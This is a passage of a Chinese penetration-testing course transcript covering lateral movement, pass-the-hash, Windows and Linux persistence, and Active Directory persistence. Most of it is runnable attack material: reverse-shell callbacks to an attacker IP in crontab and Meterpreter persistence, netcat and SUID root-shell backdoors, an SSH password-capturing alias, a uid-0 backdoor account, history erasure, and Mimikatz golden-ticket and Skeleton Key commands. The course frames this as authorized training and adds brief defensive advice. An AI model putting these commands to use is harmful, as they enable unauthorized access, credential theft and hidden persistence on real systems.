4.2 使用PsExec横向移动

在发现目标主机后，可以利用获取的凭证进行横向移动。

操作流程如下：

  1. 在 Targets 视图中的目标主机上右键，选择 Jump -> psexec。
  2. 在弹出的窗口中，选择之前获取到的有效凭证（如域管理员账号和明文密码）。
  3. 选择用于接收反弹Shell的监听器（Listener）和当前的跳板机会话（Session）。
  4. 点击攻击后，若成功，会在CS中接收到目标主机的新会话，并且通常是System权限。

4.3 在CS中进行Token窃取

CS同样支持Token窃取，通常需要上传incognito等工具到目标主机执行。

常用操作列表：

  • 列举令牌：execute-assembly Incognito.exe list_tokens -u
  • 制作令牌：make_token 域名\用户名 密码 （此命令使用已知明文密码创建令牌）
  • 窃取令牌：steal_token [PID] （需先通过 ps 命令查看进程PID）
  • 令牌清除：rev2self

图形化操作：在CS的 Explore -> Process List 中，可以图形化查看进程列表，并在高权限进程上直接选择 Steal Token，其本质是执行了上述窃取命令。

通过Token窃取获得高权限（如域管理员）后，可以更方便地访问域内其他资源（如域控共享）或发起新的横向移动。

5. 使用SharpRDP进行横向移动 🖥️

SharpRDP是一个利用远程桌面协议（RDP）进行身份验证后命令执行的工具。它提供了一种横向移动的替代方法。

其基本使用方法如下：

SharpRDP.exe computername=目标IP command="执行命令" username=域名\用户 password=密码

使用示例：
我们可以将command参数设置为反弹Shell的命令（例如通过PowerShell或mshta加载CS的Payload），从而在目标主机上执行并获得会话。需要注意的是，该工具本身不提供回显，主要用于在远程主机上执行命令。

工具编译说明：
许多安全工具（如SharpRDP）在GitHub上以源代码形式提供。对于C#项目，我们需要使用Visual Studio进行编译：

  1. 使用Git克隆项目到本地。
  2. 用Visual Studio打开解决方案文件（.sln）。
  3. 在解决方案资源管理器中右键项目，选择“重新生成解决方案”。
  4. 编译后的可执行文件通常位于 项目目录\bin\Release\ 下。

掌握从源代码编译工具是一项基本且重要的技能。

总结 📚

本节课我们一起深入学习了内网横向移动的多种关键技术：

  1. 回顾了WMIExec的使用，包括命令执行和反弹Shell。
  2. 掌握了MSF框架中的psexec、smb漏洞利用等横向移动模块。
  3. 深入理解了Token窃取的原理，并在MSF和CS平台上实践了列举、模拟、窃取令牌的操作。
  4. 系统演练了在Cobalt Strike中进行信息收集（凭证、主机）、利用PsExec横向移动以及Token窃取的全过程。
  5. 了解了SharpRDP工具的用途和基本使用方法，并学习了如何编译C#项目源代码。

这些技术是内网渗透测试中突破边界、扩大战果的核心手段。请务必在授权和合法环境下进行练习，以巩固所学知识。

🛡️ 课程P81：第51天 - 域内横向移动：域认证及HASH传递攻击

在本节课中，我们将要学习Windows操作系统的认证机制，以及一种重要的横向移动攻击方法——哈希传递攻击。理解这些核心概念对于进行内网渗透测试至关重要。

🔐 Windows认证机制概述

上一节我们回顾了横向移动的基础知识，本节中我们来看看Windows系统是如何验证用户身份的。Windows认证主要分为三个部分：本地认证、网络认证和域认证。

本地认证

本地认证是指用户直接登录到本地计算机的过程。其核心流程如下：

  1. 用户输入密码：用户在登录界面输入用户名和密码。
  2. 系统计算哈希值：Windows系统将用户输入的密码通过特定算法（如NTLM）计算成哈希值。其公式可表示为：
    NTLM Hash = MD4(UTF-16-LE(password))
  3. 与SAM数据库比对：系统将计算出的哈希值与存储在本地SAM文件数据库中的对应账户哈希值进行比对。
  4. 验证结果：如果哈希值匹配，则认证成功，允许登录；否则失败。

本地认证的密码哈希存储在C:\Windows\System32\config\SAM文件中。lsass.exe进程负责处理此认证流程，并会在内存中临时保存明文密码，这也是Mimikatz等工具能够抓取明文密码的原理。

网络认证（NTLM挑战-响应机制）

当一台计算机需要访问同一工作组内另一台计算机的共享资源时，会触发网络认证。这是一个挑战-响应过程，主要分为三步：

以下是NTLM认证的三个核心步骤：

  1. 协商：客户端与服务器协商使用的协议版本（如NTLM v1或v2）。
  2. 质询：
    • 客户端将用户名发送给服务器。
    • 服务器检查用户是否存在。若存在，则生成一个随机数（Challenge），并使用该用户存储在服务器端的NTLM哈希加密此随机数，生成Challenge1存储在内存中。同时，服务器将明文的Challenge发送给客户端。
    • 客户端使用用户输入的密码生成的NTLM哈希，加密收到的Challenge，生成Response并发送回服务器。
  3. 验证：服务器使用自己存储的NTLM哈希加密Challenge得到Challenge1，并与客户端发来的Response进行比对。若一致，则认证通过。

在此过程中，网络上传输的是Net-NTLM Hash（即Response），而非原始的NTLM哈希。Net-NTLM Hash可以被工具（如Hashcat）暴力破解以尝试还原明文密码。例如，使用Hashcat破解的命令格式如下：

hashcat -m 5600 netntlm_hash.txt password_dict.txt -o found.txt

其中，-m 5600参数指定了破解Net-NTLMv2哈希。

域认证（Kerberos协议）

在域环境中，认证主要通过Kerberos协议完成，它引入了一个可信的第三方——密钥分发中心。这个过程比前两种更为复杂。

上一节我们介绍了工作组环境下的认证，本节中我们来看看域环境的核心认证协议。Kerberos认证涉及三个主要角色：客户端、服务端和密钥分发中心。其简化流程如下：

以下是Kerberos认证的关键步骤与核心票据：

  1. 认证服务交换：客户端向KDC的认证服务发送包含用户名的请求。AS验证用户后，生成一个票据授予票据和一个会话密钥，用用户密钥加密后返回给客户端。
  2. 票据授予服务交换：客户端解密获得TGT和会话密钥。然后向KDC的票据授予服务发送TGT和请求访问的服务信息。TGS验证TGT后，生成一个用于访问特定服务的服务票据和新的会话密钥，返回给客户端。
  3. 客户端-服务器交换：客户端将服务票据发送给目标服务器。服务器验证票据有效性后，建立连接。

在整个流程中，涉及多种密钥：

  • Client Key：用户密码的NTLM哈希。
  • TGS Key：krbtgt域账户的NTLM哈希，用于加密TGT。
  • Service Key：服务对应用户账户的NTLM哈希，用于加密服务票据。

理解Kerberos流程是理解后续票据传递攻击的基础。

⚔️ 哈希传递攻击

在无法获取明文密码，但获得了用户密码的NTLM哈希值时，可以使用哈希传递攻击进行横向移动。

上一节我们深入了解了各种认证机制，本节中我们来看看如何利用哈希值直接进行攻击。PTH攻击允许攻击者仅凭哈希值即可通过认证，无需知道明文密码。

攻击前提条件

以下是成功实施PTH攻击通常需要的条件：

  • 目标主机开放445端口。
  • 目标主机开启IPC$共享或ADMIN$共享。
  • 拥有目标账户的NTLM哈希值。

攻击方法

1. 利用Metasploit的PSEXEC模块

在Metasploit框架中，可以使用psexec模块并指定哈希值进行攻击。需要设置SMBPass参数，格式为LM哈希:NT哈希。若LM哈希未知，可用0填充。

use exploit/windows/smb/psexec
set RHOSTS [目标IP]
set SMBUser [用户名]
set SMBPass [LM哈希:NT哈希]
# 若在域内，还需设置 SMBDomain [域名]
run

2. 利用Mimikatz进行PTH

使用Mimikatz的sekurlsa::pth功能可以直接在内存中注入哈希，生成一个新的具有相应权限的命令行窗口。

privilege::debug
sekurlsa::pth /user:[用户名] /domain:[目标IP或域名] /ntlm:[NT哈希]

执行成功后，会弹出新的命令行窗口，在此窗口中使用net use等命令访问目标共享时，将无需输入密码。

3. 利用Cobalt Strike进行PTH

在Cobalt Strike中，可以通过psexec或psexec_psh模块，在选择凭证时直接使用捕获的哈希值来横向移动。

4. 利用Impacket工具套件

Impacket工具包中的wmiexec.py和psexec.py脚本支持直接使用哈希进行认证。

# 使用 wmiexec.py 执行命令
python wmiexec.py -hashes [LM哈希:NT哈希] [域名]/[用户名]@[目标IP] "whoami"

# 使用 psexec.py 获取交互式shell
python psexec.py -hashes [LM哈希:NT哈希] [域名]/[用户名]@[目标IP]

5. 利用PowerShell脚本批量检测

可以使用类似Invoke-TheHash的PowerShell脚本，对域内所有主机批量尝试哈希传递，快速定位可被攻击的目标。

📚 课程总结

本节课中我们一起学习了Windows系统的核心认证机制，包括本地认证、网络认证和复杂的域认证，并深入探讨了利用哈希值而非明文密码进行横向移动的哈希传递攻击方法。

理解这些认证原理是掌握内网渗透中权限维持与横向移动技术的关键基础。

课程P82：第53天 - Windows权限维持技术详解 🔐

在本节课中，我们将系统性地学习Windows操作系统下的权限维持技术。权限维持的目的是确保我们通过渗透测试获取的目标系统访问权限不会因漏洞修复或管理员干预而轻易丢失。课程内容将分为四个主要部分：Meterpreter权限维持、系统工具替换后门、开机自启动注册表项以及其他实用技巧。

第一部分：Meterpreter权限维持 ⚙️

上一节我们概述了课程结构，本节中我们来看看Meterpreter框架下的权限维持技术。Meterpreter是Metasploit框架的一个功能强大的扩展，它集成了许多后渗透模块，方便我们进行各种操作。

权限维持，顾名思义，就是维持我们已获取的访问权限。这些权限可能来源于Web Shell、内网横向移动等。为了在漏洞修复或管理员发现后仍能控制目标，我们通常需要安装后门程序。

Meterpreter提供了两种主要的权限维持技术：

  1. persistence 模块：这是一个基于注册表的启动项后门。其原理是上传一个VBS脚本到目标机器，并修改注册表，使得系统启动或用户登录时自动执行该脚本，从而反弹一个会话连接回攻击机。
  2. metsvc 模块：这是一个服务后门。它会在目标Windows系统上创建一个名为Meterpreter的服务，并监听一个特定端口（默认31337）。攻击者只需连接该端口即可获得一个Meterpreter会话。

persistence 模块详解

该模块的原理是上传并执行一个VBS脚本，通过修改注册表实现持久化。

核心命令与参数：
在获取Meterpreter会话后，可以运行以下命令查看帮助：

run persistence -h

以下是该模块的一些关键选项：

  • -X: 系统启动时自启动。
  • -U: 用户登录时自启动。
  • -S: 作为服务启动（同样写入注册表）。
  • -L: 指定远程主机上VBS脚本的存放路径。默认为%TEMP%目录，但该目录文件可能在重启后被清除，建议指定更持久的路径，如C:\Windows\System32。
  • -P: 指定使用的Payload。默认是windows/meterpreter/reverse_tcp（32位）。如果目标系统是64位，需指定对应的64位Payload，例如windows/x64/meterpreter/reverse_tcp。
  • -i: 设置反向连接的时间间隔（秒）。
  • -p: 设置反向连接的端口号。
  • -r: 设置反向连接的IP地址（攻击机IP）。

使用示例：
假设攻击机IP为192.168.1.100，目标为64位系统。

run persistence -X -U -i 5 -p 4444 -r 192.168.1.100 -P windows/x64/meterpreter/reverse_tcp

执行此命令后，模块会：

  1. 在目标%TEMP%目录生成一个VBS脚本。
  2. 在注册表HKLM\Software\Microsoft\Windows\CurrentVersion\Run（系统启动）和HKCU\Software\Microsoft\Windows\CurrentVersion\Run（用户登录）下创建项，其值为VBS脚本的路径。
  3. 当系统重启或用指定用户登录时，会自动执行VBS脚本，反弹会话到攻击机的4444端口。

注意：VBS脚本容易被安全软件查杀，此方法在存在杀软的环境中可能失效。

metsvc 模块详解

这是一个更简单的服务后门。

使用示例：
在Meterpreter会话中直接运行：

run metsvc

该命令会：

  1. 在目标系统创建Meterpreter服务。
  2. 上传必要的文件到临时目录。
  3. 启动服务，监听31337端口。

连接后门：
在MSF中，使用正向连接Payload连接目标端口即可获得会话。

use exploit/multi/handler
set payload windows/metsvc_bind_tcp
set RHOST <目标IP>
set LPORT 31337
exploit

自动化权限维持

在设置MSF监听器时，可以使用AutoRunScript参数实现自动化。当有新会话建立时，自动执行权限维持脚本。

use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set LHOST 192.168.1.100
set LPORT 5555
set AutoRunScript persistence -X -U -i 10 -p 5566 -r 192.168.1.100
exploit

注意：反弹Shell的端口（LPORT 5555）和持久化脚本连接的端口（-p 5566）应设置为不同端口，避免冲突。

第二部分：系统工具替换后门 🛠️

上一节我们介绍了Meterpreter的自动化工具，本节中我们来看看如何利用Windows系统自带的辅助工具实现更隐蔽的权限维持。

Windows辅助功能（如屏幕键盘、讲述人、放大镜等）旨在帮助特殊人士使用计算机。攻击者可以在获取系统权限（SYSTEM或管理员）后，通过修改注册表，劫持这些工具的启动路径，使其执行我们的后门程序。

其核心原理是利用注册表路径：HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options。在此路径下为特定程序（如utilman.exe）创建调试键值，可以指定实际运行的替代程序。

劫持实例：以utilman.exe（轻松访问中心）为例

utilman.exe在Windows登录界面可通过点击“轻松访问”按钮触发。劫持它可以在无需登录密码的情况下获得系统Shell。

操作步骤：

  1. 在已获得权限的CMD或Meterpreter Shell中执行：
    reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\utilman.exe" /v Debugger /t REG_SZ /d "C:\Windows\System32\cmd.exe"
    这条命令将utilman.exe的调试器设置为cmd.exe。

  1. 当在登录界面点击“轻松访问”按钮时，系统不会打开辅助工具管理器，而是直接弹出具有SYSTEM权限的cmd.exe窗口。

其他可劫持的目标：

  • sethc.exe：粘滞键。按5次Shift键触发。命令：
    reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /v Debugger /t REG_SZ /d "C:\Windows\System32\cmd.exe"
  • osk.exe：屏幕键盘。
  • narrator.exe：讲述人。

自动化工具：
Metasploit的post/windows/manage/sticky_keys模块可以自动化完成上述劫持。

use post/windows/manage/sticky_keys
set SESSION <会话ID>
set TARGET cmd # 或指定你的后门程序路径
run

进程退出静默执行后门

此技术可以在特定程序（如记事本notepad.exe）退出后，静默运行我们的后门。

操作步骤：

reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\notepad.exe" /v GlobalFlag /t REG_DWORD /d 512
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\notepad.exe" /v ReportingMode /t REG_DWORD /d 1
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\notepad.exe" /v MonitorProcess /t REG_SZ /d "C:\path\to\your\backdoor.exe"

设置后，每当用户关闭记事本程序，系统就会静默启动指定的后门程序。

第三部分：开机自启动注册表项 📁

上一节我们利用了系统工具的启动机制，本节我们聚焦于Windows本身用于管理启动项的核心区域——注册表。了解这些位置对于权限维持和防御排查都至关重要。

Windows通过一系列注册表键值来控制程序的自启动。以下是常见的自启动注册表路径：

对所有用户生效（HKLM）:

  • HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
  • HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce
  • HKLM\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run (32位程序在64位系统)

对当前用户生效（HKCU）:

  • HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
  • HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce

区别：HKLM下的项对机器上所有用户生效，HKCU下的项仅对当前登录用户生效。

利用示例：添加NC后门

  1. 将Netcat (nc.exe) 上传至目标，例如 C:\Windows\System32\nc.exe。
  2. 添加一个自启动项，使系统启动时监听端口。
    reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "UpdateCheck" /t REG_SZ /d "C:\Windows\System32\nc.exe -lvp 5555 -e cmd.exe"
  3. 如果需要，放行防火墙端口。
    netsh advfirewall firewall add rule name="Windows Update" dir=in action=allow protocol=TCP localport=5555
  4. 攻击机连接目标5555端口即可获得Shell。

注册表操作命令：

  • 添加：reg add <键路径> /v <值名称> /t <类型> /d <数据>
  • 查询：reg query <键路径>
  • 删除：reg delete <键路径> /f

在Meterpreter中，可以直接使用reg命令操作远程注册表。

第四部分：其他权限维持技巧 🧩

除了上述方法，还有一些其他常用的权限维持技巧。

1. 计划任务后门

Windows计划任务可以定时执行程序，是理想的持久化方式。

# 创建每分钟执行一次的计划任务
schtasks /create /tn "SystemCheck" /tr "C:\path\to\backdoor.exe" /sc minute /mo 1 /ru SYSTEM /f

参数说明：/tn任务名，/tr要运行的程序，/sc计划频率（minute/hourly/daily...），/mo间隔，/ru运行用户。

2. 快捷方式劫持

修改用户常用程序（如浏览器、办公软件）快捷方式的“目标”字段，在启动原程序的同时静默执行后门。

  1. 创建一个恶意脚本（如launch.vbs），内容为启动原程序和后门。
  2. 将快捷方式的“目标”指向该VBS脚本。
  3. 更改快捷方式图标，使其看起来与原程序一致。

3. 隐藏用户账户

  • 简单隐藏：创建以$结尾的用户名，如admin$。该用户在net user命令中不可见，但在控制面板中可见。
    net user admin$ Password123! /add
net localgroup administrators admin$ /add
  • 克隆账户：更隐蔽的方法。通过导出Administrator账户在注册表SAM数据库中的特定键值（F值），并将其导入到一个新建的隐藏账户中，使该账户拥有与Administrator相同的权限，且在命令行和控制面板中都不可见。此操作需要对注册表HKLM\SAM\SAM有完全控制权限。

4. 启动文件夹

将后门程序或快捷方式放入以下目录，用户登录时会自动执行：

  • 系统启动文件夹：C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp
  • 当前用户启动文件夹：%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup
    此方法较为容易被发现。

5. 服务后门

使用sc命令创建自定义服务。

sc create "WindowsUpdateService" binPath= "C:\path\to\backdoor.exe" start= auto
sc start WindowsUpdateService

6. PowerShell脚本后门

利用PowerShell的灵活性和免杀特性，可以编写复杂的持久化脚本。例如，使用Invoke-TaskBackdoor等脚本创建计划任务，定期回连。

总结与回顾 📚

本节课中我们一起学习了Windows系统下多种权限维持技术：

  1. Meterpreter内置工具：persistence（注册表VBS脚本）和metsvc（服务后门），适合在已获得Meterpreter会话后快速部署。
  2. 系统工具劫持：利用辅助功能（粘滞键、屏幕键盘等）在登录界面触发后门，无需用户密码，非常隐蔽。
  3. 注册表自启动项：利用Run、RunOnce等键值实现开机或登录自启，是经典持久化位置。
  4. 其他技巧：包括计划任务、快捷方式劫持、隐藏/克隆用户账户、启动文件夹、服务后门和PowerShell脚本等。

防御建议：

  • 定期检查注册表常见自启动路径。
  • 监控系统服务列表，警惕陌生服务。
  • 检查计划任务，特别是以高权限运行的任务。
  • 注意登录界面辅助功能的异常行为。
  • 使用安全软件并保持更新。
  • 对注册表SAM等关键位置设置严格权限。

权限维持是渗透测试中巩固战果的关键一步，但同时也是防守方需要重点布防的领域。理解攻击手法，才能更好地进行防御。

🛡️ 课程P83：Linux权限维持技术详解

在本节课中，我们将学习在Linux系统下进行权限维持的各种技巧。权限维持是渗透测试中至关重要的一环，它确保攻击者在获得初始访问权限后，能够长期、隐蔽地控制目标系统。我们将从SSH后门、别名与定时任务、特殊权限利用以及其他小技巧等多个方面进行系统性的讲解。

🔑 第一部分：SSH后门及私钥公钥

上一节我们概述了课程内容，本节中我们来看看SSH后门的具体实现方法。SSH（Secure Shell）是连接Linux主机的标准协议，利用其服务可以建立隐蔽的后门通道。

1. SSH软链接后门

此方法通过创建SSH守护进程（sshd）的软链接，并指定一个自定义端口来建立后门。连接该端口时，无需密码验证即可获得Shell访问权限。

核心命令：

ln -sf /usr/sbin/sshd /tmp/su; /tmp/su -oPort=12345

执行此命令后，目标主机将在12345端口监听。攻击者使用SSH连接此端口时，无需密码即可登录。需要注意的是，如果系统配置禁止root用户远程登录，则此方法无法使用root身份登录。

2. SSH Server Wrapper后门

此方法通过替换系统的sshd文件为一个包装脚本（Wrapper Script）来实现后门。该脚本会检查连接客户端的源端口，若匹配特定值，则返回一个Shell。

实现原理：

  1. 将原始的/usr/sbin/sshd移动到/usr/bin/sshd。
  2. 在/usr/sbin/sshd位置创建一个新的脚本。
  3. 脚本判断连接源端口的大端序（Big-Endian）格式是否与预设值匹配（例如4A对应十进制13377）。
  4. 若匹配，则执行/bin/bash -i返回一个交互式Shell；若不匹配，则执行原始的/usr/bin/sshd，保证正常SSH功能不受影响。

攻击者连接时，需使用socat等工具指定特定的源端口进行连接：

socat STDIO TCP4:目标IP:22,sourceport=13377

3. SSH公钥认证后门

这是最经典的SSH后门方式，利用SSH的公钥认证机制实现免密登录。

操作步骤：

  1. 在攻击机上生成密钥对：ssh-keygen -t rsa。
  2. 将生成的公钥（id_rsa.pub）内容写入目标主机的~/.ssh/authorized_keys文件中。
  3. 使用攻击机的私钥（id_rsa）即可免密码SSH登录目标主机。

为了隐藏文件修改时间，可以使用touch命令：

touch -r ~/.ssh/known_hosts ~/.ssh/authorized_keys

4. SSH键盘记录器

通过在SSH命令上创建别名（alias），利用strace工具跟踪记录SSH会话的输入输出，从而捕获管理员通过SSH登录其他服务器时输入的密码。

别名设置命令：

alias ssh='strace -o /tmp/sshpasswd -e read,write -s 2048 ssh'

当管理员执行ssh命令时，其所有输入（包括密码）和输出都会被记录到/tmp/sshpasswd文件中。

5. SSH隐身登录

使用SSH的-T参数或指定一个伪终端（pty）可以避免登录行为被w、who、last等命令记录。

隐身登录命令：

ssh -T user@目标IP /bin/bash -i

或

ssh -o UserKnownHostsFile=/dev/null -T user@目标IP /bin/bash -i

6. Vim编辑器后门

如果目标主机的Vim编辑器支持Python扩展，可以利用其执行Python脚本的特性开启一个后门端口。

操作流程：

  1. 将反弹Shell的Python脚本放入Vim的插件目录（如~/.vim/plugin/）。
  2. 通过nohup命令在后台运行Vim并执行该脚本，监听指定端口。
cd /usr/lib/python2.7/site-packages && nohup vim -E -c "pyfile dir.py"> /tmp/out.txt 2>&1 &
  1. 攻击者使用nc连接该端口即可获得Shell。

⚙️ 第二部分：别名与定时任务后门

上一节我们介绍了SSH相关的权限维持方法，本节中我们来看看如何利用系统自身的特性，如命令别名和定时任务来维持权限。

1. 别名（Alias）后门

通过为常用命令（如cat、ls）设置别名，可以在管理员执行这些命令时，静默运行后门程序。

以下是设置别名后门的步骤：

  • 首先，编译一个用于反弹Shell的C程序。
  • 然后，为该程序设置SUID权限，使其能以root身份执行。
  • 最后，为cat命令创建别名，使其在执行前先运行后门程序。
alias cat='先执行后门程序; /bin/cat'

当管理员使用cat命令时，会触发后门连接回攻击机。

2. 定时任务（Crontab）后门

通过向当前用户的crontab中添加任务，可以定期执行反弹Shell的命令，实现持久化。

添加定时任务的命令：

(crontab -l; echo "*/1 * * * * bash -i >& /dev/tcp/攻击机IP/端口 0>&1") | crontab -

这条命令会每分钟尝试向攻击机的指定端口反弹一个Shell。

🚀 第三部分：利用SUID与SGID权限维持

在提权部分我们曾详细介绍了SUID/SGID权限，本节我们看看如何主动创建具有这些权限的后门程序来维持权限。

核心思路： 自己编写一个C程序，为其设置SUID权限。当普通用户执行此程序时，它将以root权限运行。

示例后门程序代码：

#include <stdlib.h>
#include <unistd.h>
int main(int argc, char **argv) {
    setuid(0);
    setgid(0);
    if(argc == 2) {
        system(argv[1]); // 执行传入的命令
    } else {
        system("/bin/bash -p"); // 直接返回一个root shell
    }
    return 0;
}

编译与设置：

gcc suid_backdoor.c -o /usr/local/bin/backdoor
chmod 4755 /usr/local/bin/backdoor # 设置SUID位

之后，普通用户执行backdoor命令即可获得root权限的Shell。

🎭 第四部分：其他权限维持小技巧

最后，我们补充一些用于隐藏自身、清理痕迹和建立其他类型后门的小技巧。

1. 文件隐藏

  • 隐藏文件： 创建以.开头的文件，普通ls命令无法列出，需使用ls -a。
  • 文件加锁： 使用chattr +i 文件名命令给文件加上不可修改、不可删除的属性，即使是root用户也无法直接操作。解除使用chattr -i。

2. 操作痕迹清除

  • 关闭历史记录： 在当前Shell中执行set +o history，此后的命令不会被记录到~/.bash_history中。恢复使用set -o history。
  • 删除历史记录： 使用sed -i '100,$d' ~/.bash_history删除历史记录文件中的指定行。

3. PROMPT_COMMAND 后门

PROMPT_COMMAND是一个环境变量，其中定义的命令会在bash显示提示符前执行。可以在此变量中嵌入反弹Shell的命令。

export PROMPT_COMMAND='python -c "import base64,sys;exec(base64.b64decode(\"编码后的反弹shell命令\"))"'

用户每执行一次命令，都会触发一次后门连接。

4. 添加后门账户

直接在/etc/passwd文件中添加一个UID为0（root）的用户。

echo "backdoor:加密的密码:0:0::/root:/bin/bash" >> /etc/passwd

密码可以使用openssl passwd -1或mkpasswd命令生成。

5. 命令劫持

利用环境变量$PATH的优先级，在优先级更高的目录（如/tmp）中放置与系统命令（如ps、netstat）同名的恶意程序，当管理员执行这些命令时，实际运行的是后门程序。

6. WebShell隐藏技巧

在PHP WebShell开头使用<?php 和?>将代码包裹，在某些查看方式下可以隐藏<?php之前的内容，起到一定的混淆作用。

📚 课程总结

本节课中我们一起学习了Linux系统下多种权限维持的技术。我们从SSH后门（软链接、Wrapper、公钥、键盘记录、隐身登录）入手，探讨了利用别名和定时任务建立后门的方法，复习并利用了SUID/SGID权限来创建持久化后门程序，最后介绍了一系列用于隐藏、清理痕迹和建立其他类型后门的小技巧。

掌握这些技术有助于理解攻击者的持久化手段，从而在防御时能更有针对性地进行排查和加固。需要注意的是，所有这些技术都应在合法授权和道德准则下进行学习和测试。

课程P84：第57天 - 域内权限维持技术详解 🔐

在本节课中，我们将学习域环境下的四种核心权限维持技术：黄金票据伪造、SSP、Skeleton Key和SID History。这些技术能帮助我们在获取域控权限后，实现持久化控制，确保即使凭证更改也能维持访问权限。

概述 📋

之前我们介绍了工作组环境下的权限维持技术，它们主要针对单一机器。本节我们将重点转向域环境。域的核心是域控制器，获取其权限意味着控制了整个域。因此，域内权限维持的目标是维持我们在域控制器上的最高权限。本节课将讲解四种常见且关键的域内权限维持方法。

一、黄金票据伪造 🎫

上一节我们回顾了域环境的特点，本节首先来看第一种权限维持技术：Pass The Ticket中的黄金票据伪造。

票据是域内网络对象互相访问的凭证。黄金票据伪造的核心是伪造票据授予票据。控制了生成票据的机制，就能生成访问任何服务的票据。

伪造原理

其原理基于Kerberos认证协议的第二步：AS确认客户端身份。AS会使用存储在域控上的krbtgt用户的NTLM哈希作为密钥，加密生成TGT。如果我们获取了krbtgt用户的哈希，就可以自己伪造TGT，从而绕过KDC认证，生成访问任意服务的票据。

核心公式：伪造的TGT = 使用krbtgt哈希加密(包含伪造信息的TGT数据)

伪造条件

以下是伪造黄金票据所需的四个条件：

  1. 域名称
  2. 域的SID值
  3. krbtgt账户的密码哈希
  4. 要伪造的用户名（可以是任意用户）

操作步骤

以下是利用Mimikatz进行黄金票据伪造的具体步骤：

  1. 获取域名称：执行命令 whoami，输出格式为 域名\用户名，例如 de1ay.com\de1ay。
  2. 获取域SID：执行命令 whoami /user，获取当前用户的SID，去掉末尾的-1001这类用户RID，剩余部分即为域SID。
  3. 获取krbtgt哈希：在拥有域管理员权限的会话中，使用Mimikatz的dcsync模块获取：lsadump::dcsync /user:krbtgt /domain:de1ay.com
  4. 伪造票据并注入内存：使用Mimikatz生成黄金票据并直接注入当前会话内存：
    kerberos::golden /user:administrator /domain:de1ay.com /sid:S-1-5-21-2756371121-2868759905-3853650604 /krbtgt:5508500012cc005cf7082a9a89ebdfdf /ptt
    • /user：指定伪造的用户名。
    • /domain：指定域名。
    • /sid：指定域SID。
    • /krbtgt：指定krbtgt用户的NTLM哈希。
    • /ptt：将生成的票据注入内存。

票据应用与验证

票据注入后，即可利用该权限访问域控资源。例如，使用dir \\dc.de1ay.com\c$命令列出域控的C盘目录。也可以通过横向移动技术，在域控上执行Payload，最终获得域控的Shell。

清理票据：在执行新票据前，可使用 kerberos::purge 命令清理现有票据。

生成票据文件：若不直接注入内存，可生成票据文件供后续使用：

kerberos::golden /user:administrator /domain:de1ay.com /sid:S-1-5-21-... /krbtgt:550850... /ticket:golden.kirbi
kerberos::ptt golden.kirbi

二、SSP权限维持 🛡️

在了解了基于票据的维持方式后，我们来看第二种方法：利用安全支持提供程序进行权限维持。

SSP用于身份验证，是一个DLL文件。系统启动时，lsass.exe进程会加载SSP。我们可以安装一个恶意的SSP DLL，使其记录所有登录到当前系统的明文账号密码。

实现方法

主要有两种方法：通过注册表实现持久化，以及通过内存加载实现无文件落地。

方法一：注册表持久化（需重启）

  1. 将恶意DLL文件（如mimilib.dll）上传到目标系统的C:\Windows\System32\目录下。
  2. 修改注册表，添加该DLL路径：
    • 路径：HKLM\SYSTEM\CurrentControlSet\Control\Lsa
    • 键值：Security Packages，在原有数据后追加 , mimilib
  3. 系统重启后，lsass.exe会加载该DLL。此后用户登录，明文密码会被记录在 C:\Windows\System32\kiwissp.log 中。

方法二：内存加载（无需重启）
在已获得权限的会话中，直接使用Mimikatz将SSP加载到内存：

misc::memssp

执行后，用户登录凭证会被记录在 C:\Windows\System32\mimilsa.log 中。

三、Skeleton Key万能密码 🔑

接下来我们看第三种方法：Skeleton Key。这种方法可以在不重启域控的情况下生效。

Skeleton Key被安装在64位的域控服务器上，它允许所有域用户使用一个通用的“万能密码”进行身份验证，同时原有密码依然有效。但使用万能密码登录的用户权限受限，且重启后失效。

操作步骤

在已获得域控权限的会话中，使用Mimikatz进行安装：

  1. 进入Debug权限模式：privilege::debug
  2. 安装Skeleton Key：misc::skeleton
    • 默认万能密码为：mimikatz

安装成功后，在域内任何主机上，都可以使用域名\用户名和万能密码mimikatz进行网络身份验证（如IPC连接），从而访问域控资源。

四、SID History权限维持 🪪

最后，我们学习利用SID History属性进行权限维持。

每个用户都有一个唯一的SID来标识其权限。SID History属性用于在域迁移时保持用户权限。我们可以将高权限用户（如域管理员）的SID添加到普通用户的SID History属性中，从而使该普通用户具备高权限用户的访问能力。

操作步骤

使用Mimikatz进行操作：

  1. Patch NTDS服务：确保能向ntds.dit数据库写入SID History属性。
    sid::patch
  2. 添加SID History：将域管理员administrator的SID添加到指定用户（如mig）的属性中。
    sid::add /sam:mig /new:administrator
    • /sam：指定目标用户名。
    • /new：指定要添加其SID的源用户名。

验证效果

操作成功后，可以使用PowerShell命令验证：

Import-Module ActiveDirectory
Get-ADUser mig -Properties sidhistory

可以看到mig用户的sidhistory属性中包含了域管理员的SID。此后，使用mig账户即可访问域管理员有权访问的资源。

总结 🎯

本节课我们一起学习了域环境下的四种权限维持技术：

  1. 黄金票据伪造：通过获取krbtgt哈希伪造TGT，生成任意服务的访问票据。
  2. SSP：通过加载恶意SSP DLL，记录系统登录的明文密码。
  3. Skeleton Key：在域控安装万能密码，使所有域用户可用通用密码登录。
  4. SID History：将高权限用户的SID添加到普通用户属性，实现权限提升。

这些技术各有特点和应用场景，是域渗透后期实现持久化控制的重要手段。理解其原理并掌握操作方法，对于内网渗透测试至关重要。

网络安全就业推荐 - P85：第59天：Windows & Linux 痕迹清除 🧹

